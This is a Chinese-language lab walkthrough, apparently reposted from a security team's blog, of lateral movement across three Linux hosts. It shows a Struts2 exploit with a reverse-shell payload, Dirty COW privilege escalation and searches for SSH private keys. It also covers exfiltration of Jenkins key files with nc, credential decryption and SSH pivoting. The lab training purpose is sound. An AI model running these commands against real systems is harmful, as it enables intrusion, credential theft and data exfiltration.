前言
在Linux中橫向移動手法相對Windows來說較少,相對來說我們只有利用SSH、web上的漏洞等較少方式去獲得權(quán)限 在SSH協(xié)議中,連接到主機可采用兩種登錄方式:密碼登錄方式、密鑰登錄方式 密碼登錄方式,相信大家都明白它的工作原理,這里就不再贅述。對此我們可以來嘗試爆破密碼的方式來嘗試登錄到遠程系統(tǒng)權(quán)限 密鑰登錄方式的原理是:利用密鑰生成器制作一對密鑰,其中一只公鑰,一只私鑰。將公鑰添加到服務(wù)器的某個賬戶上,然后在客戶端利用私鑰即可完成認證并登錄。這樣一來,沒有私鑰,任何人都無法通過SSH暴力破解用戶的密碼來遠程登錄系統(tǒng)。那這里我們可以通過獲取該目標服務(wù)器的SSH私鑰信息即可獲得該服務(wù)器的遠程登錄權(quán)限 一般ssh密鑰文件都存放在~/.ssh/目錄下,也可以在文件中搜索已保存的SSH憑證。
敏感文件 ~/.ssh/config #配置 ssh 連接相關(guān)參數(shù)的配置文件 ~/.ssh/known_hosts # 該服務(wù)器所有登錄過的服務(wù)器的信息 ~/.bash_history # 我們通過歷史命令可以看到該服務(wù)器中有沒有使用ssh私鑰去遠程連接服務(wù)器 搜索含有SSH憑證文件 grep -ir "BEGIN RSA PRIVATE KEY" /* grep -ir "BEGIN DSA PRIVATE KEY" /* grep -ir "BEGIN OPENSSH PRIVATE KEY" /*
在這里,我用一個純Linux的內(nèi)網(wǎng)靶機環(huán)境來做演示,首先我們來看一下當前內(nèi)網(wǎng)環(huán)境的拓撲圖。
通過拓撲圖我們可以看到在當前內(nèi)網(wǎng)環(huán)境中,一共有3臺機器,一臺是web服務(wù)器,同時也連接著互聯(lián)網(wǎng),另外兩臺分別為數(shù)據(jù)庫服務(wù)器與Jenkins服務(wù)器,他們的網(wǎng)絡(luò)環(huán)境中是做了限制的,web服務(wù)器對外開放,可直接訪問。jenkins服務(wù)器的web應(yīng)用只允許當前內(nèi)網(wǎng)環(huán)境的主機訪問,數(shù)據(jù)庫服務(wù)器不出網(wǎng),用于實現(xiàn)站庫分離設(shè)計模式。網(wǎng)絡(luò)劃分配置如下:點擊編輯 ->虛擬網(wǎng)絡(luò)編輯器-> 更改設(shè)置,之后選擇需要設(shè)置NAT類型的界面,修改子網(wǎng)IP為172.16.250.0 ,并點擊應(yīng)用。
場景演示
首先我們先對入口點IP地址做一個端口掃描。
這里我們訪問它的80端口,發(fā)現(xiàn)是該系統(tǒng)的CMS為OpenCms 10.5,通過漏洞庫得知該系統(tǒng)存在 struts2 命令執(zhí)行漏洞。
訪問一下struts2-showcase路徑,看是否成功。
由此確定使用struts2并且是struts2 showcase,msf上可以利用這個漏洞。直接在msf中 search struts2,這里直接選擇第一個利用即可。
設(shè)置攻擊IP地址與反彈shell方式。
set rhost 172.16.250.10 set rport 80 set payload linux/x64/meterpreter/reverse_tcp set lhot 172.160.250.128 set lport 4444
可以看到shell被成功反彈過來。
可以看到當前shell被反彈過來,并且權(quán)限為tomcat權(quán)限,這里的權(quán)限對我們來說相對較低,于是選擇提權(quán)。首先上傳一個linux-exploit-suggester腳本用于定位當前系統(tǒng)適合怎樣的方式進行提權(quán)。由于這時候我們得到的shell不是tty類型的,改為tty使得shell更加穩(wěn)定,然后賦予當前文件一個執(zhí)行權(quán)限,將其執(zhí)行。
upload /root/Desktop/linux-exploit-suggester.sh /tmp/aa.sh shell python3 -c "import pty;pty.spawn('/bin/bash')" chmod u+x /tmp/aa.sh ./tmp/aa.sh
運行之后就可以看到適合當前系統(tǒng)的提權(quán)方式,這里我選擇使用臟牛來進行提權(quán)(在實戰(zhàn)中請謹慎使用臟牛提權(quán),該提權(quán)方式容易造成業(yè)務(wù)宕機) 這里步驟和我們剛剛上傳提權(quán)定位腳本基本一致,首先將exp上傳到shell中,將exp進行編譯,將shell改為tty,直接執(zhí)行編譯后的exp。
upload /root/Desktop/dirtycow-mem.c /tmp/cow.c shell python3 -c "import pty;pty.spawn('/bin/bash')" gcc -Wall -o /tmp/dirtycow /tmp/cow.c -ldl -lpthread chmod u+x /tmp/dirtycow ./tmp/dirtycow
這里我們在拿到root權(quán)限之后,為了保持穩(wěn)定需要輸入下面兩條命令,不然web服務(wù)器會死機。
echo 0 > /proc/sys/vm/dirty_writeback_centisecs echo 1 > /proc/sys/kernel/panic && echo 1 > /proc/sys/kernel/panic_on_oops && echo 1 > /proc/sys/kernel/panic_on_unrecovered_nmi && echo 1 > /proc/sys/kernel/panic_on_io_nmi && echo 1 > /proc/sys/kernel/panic_on_warn
經(jīng)過長時間的信息收集后,發(fā)現(xiàn)配置文件/opt/tomcat/webapps/kittens/WEB-INF/config/opencms.properties中有一條數(shù)據(jù)庫登錄的信息,判斷出當前數(shù)據(jù)庫服務(wù)器為172.16.250.50。
發(fā)現(xiàn)該站為站庫分離系統(tǒng),這里查看root目錄下的.ssh目錄發(fā)現(xiàn)存在一個私鑰文件。
這里再去查看root用戶的歷史命令發(fā)現(xiàn)該用戶使用該密鑰連接了172.16.250.30,那這里我們可以將該服務(wù)器的私鑰文件下載到我們的攻擊機中,然后使用攻擊機去連接數(shù)據(jù)庫服務(wù)器,因為我們現(xiàn)在所在的是提權(quán)的root用戶bash,在msf中是tomcat的權(quán)限,我們無法直接下載root目錄下的ssh私鑰,所以我們需要先將私鑰復(fù)制到/tmp/目錄下,然后將它基于777的權(quán)限,在使用msf將其下載到我們的攻擊機中。
cp ~/.ssh/id_rsa /tmp/id_rsa chmod 777 /tmp/id_rsa exit download /tmp/id_rsa /root/is_rsa
這里給拖出來的私鑰一個0700的執(zhí)行權(quán)限,然后使用ssh去連接172.16.250.30。
chmod 0700 id_rsa ssh -i id_rsa root@172.16.250.30
這里成功拿到第二臺主機權(quán)限,權(quán)限為root,hostname為jenkins,這里對它進行一個信息收集發(fā)現(xiàn)該系統(tǒng)開放一個8080端口。
這里搭建一個socks代理訪問一下看看當前jenkins服務(wù)器中8080端口所開放的是一個什么站點。
use auxiliary/server/socks5 set srvhost 172.16.250.128 run
然后修改proxychains文件。
使用proxychains啟動firefox。
proxychains firefox
這里我們訪問Jenkins應(yīng)用程序內(nèi)的憑證管理器內(nèi)部,看到db_backup用戶密碼已存儲,但不可見,我們需要弄清楚如何從Jenkins中獲取此憑據(jù),以便我們可以繼續(xù)橫向移動。
這里我們選擇“Update”來更新密碼。
將password置空即可得到密碼。
2M0vgELkx9OMFTP8UCoNNneTI7CVjBr9sKSCtKoUl08=訪問/jenkins/script/console目錄,使用以下命令獲取明文。
println(hudson.util.Secret.fromString("{2M0vgELkx9OMFTP8UCoNNneTI7CVjBr9sKSCtKoUl08=}").getPlainText())發(fā)現(xiàn)失敗,這里直接獲取jenkis的加密密鑰文件,下載到本機使用jenkis進行解密,credentials.xml,master.key和hudson.util.Secret。
訪問發(fā)現(xiàn)該3個文件存在,使用nc將文件傳到我們的kali中。
nc -lvp 8888 > master.key nc -lvp 8888 > hudson.util.Secret nc -lvp 8888 > credentials.xml nc 172.16.250.128 8888 < /home/jenkins/secrets/hudson.util.Secret nc 172.16.250.128 8888 < /home/jenkins/secrets/master.key nc 172.16.250.128 8888 < /home/jenkins/credentials.xml
可以看到文件都被下載到了我們的攻擊機中,這里我們下載解密腳本,將密鑰文件放到腳本中進行解密。
git clone https://github.com/cheetz/jenkins-decrypt.git python3 decrypt.py master.key hudson.util.Secret credentials.xml
這里成功解密db_backup用戶的密碼,使用ssh進行連接。
)uDvra{4UL^;r?*h
proxychains ssh db_backup@172.16.250.50
可以看到成功登錄到172.16.250.50系統(tǒng)中,這里使用id查看到該用戶屬于在sudo組,所以可以使用sudo su命令進行提權(quán),然后輸入db_backup用戶的密碼,即拿到了該系統(tǒng)root系統(tǒng)的權(quán)限。
sudo su
至此成功獲取到WEB服務(wù)器(172.16.250.10)的權(quán)限、內(nèi)網(wǎng)主機172.16.250.30的權(quán)限、內(nèi)網(wǎng)數(shù)據(jù)庫服務(wù)器172.16.250.50的權(quán)限。本文章主要介紹了Linux環(huán)境下的內(nèi)網(wǎng)滲透手法,但想文章前言所述一樣,在Linux中的橫向手法很少,所以主要還是偏向于SSH和web方面的漏洞,在Linux的內(nèi)網(wǎng)環(huán)境中,要做的還是要收集到更多有價值的信息,查看歷史命令等。從而在進行下一步滲透。
審核編輯:湯梓紅
-
Linux
+關(guān)注
關(guān)注
87文章
11512瀏覽量
213903 -
服務(wù)器
+關(guān)注
關(guān)注
13文章
9797瀏覽量
88037 -
WINDOWS
+關(guān)注
關(guān)注
4文章
3614瀏覽量
91449 -
CSK
+關(guān)注
關(guān)注
0文章
4瀏覽量
6386
原文標題:Linux橫向移動手法-CSK靶機
文章出處:【微信號:Tide安全團隊,微信公眾號:Tide安全團隊】歡迎添加關(guān)注!文章轉(zhuǎn)載請注明出處。
發(fā)布評論請先 登錄
深圳全自動打靶機系統(tǒng),高解析CCD掃描定位打孔
變頻電源的操作手法
常用QC手法應(yīng)用實務(wù)
高速移動平臺橫向運動自抗擾控制
基于DPS的帶推力變向的高速靶機飛控實現(xiàn)

一文讀懂 CSK斷線連接器和CCP電纜連接器
移動手持PDA的定義及優(yōu)勢
桌面版操作機與WEB靶機的搭建與實驗操作

評論